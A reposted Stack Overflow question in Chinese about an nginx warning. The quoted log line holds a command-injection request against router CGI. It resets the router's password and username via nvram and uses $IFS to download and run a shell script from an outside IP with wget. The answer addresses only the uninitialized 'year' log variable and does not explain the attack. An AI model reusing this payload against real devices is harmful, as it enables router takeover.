gpt4 book ai didi

nginx - Nginx 日志中出现警告,需要对请求进行解释

转载 作者:行者123 更新时间:2023-12-02 04:47:49 24 4
gpt4 key购买 nike

我在 nginx 日志中有以下行:

2016/11/03 02:20:20 [warn] 30232#0: *372 using uninitialized "year" variable while logging request, client: 104.130.140.75, server: , request: "GET /cgi-bin/;nvram$IFS\set$IFS\http_passwd;nvram$IFS\set$IFS\http_username;nvram$IFS\commit;sleep$IFS\2;cd$IFS\/tmp;wget$IFS\http:\/\/104.130.140.75\/h\/wrt\/ugww.sh;chmod$IFS\777$IFS\/tmp/ugww.sh;/bin/sh$IFS\/tmp/ugww.sh HTTP/1.0 ", host: "XX.XX.XX.XXX:80"

其中主机是我的 IP 地址。

你能解释一下这是怎么回事吗?

最佳答案

检查 $year 变量的 log_format 参数。记录请求时它是未定义的。

Nginx的变量列表:http://nginx.org/en/docs/varindex.html

关于nginx - Nginx 日志中出现警告,需要对请求进行解释,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/40436670/

24 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com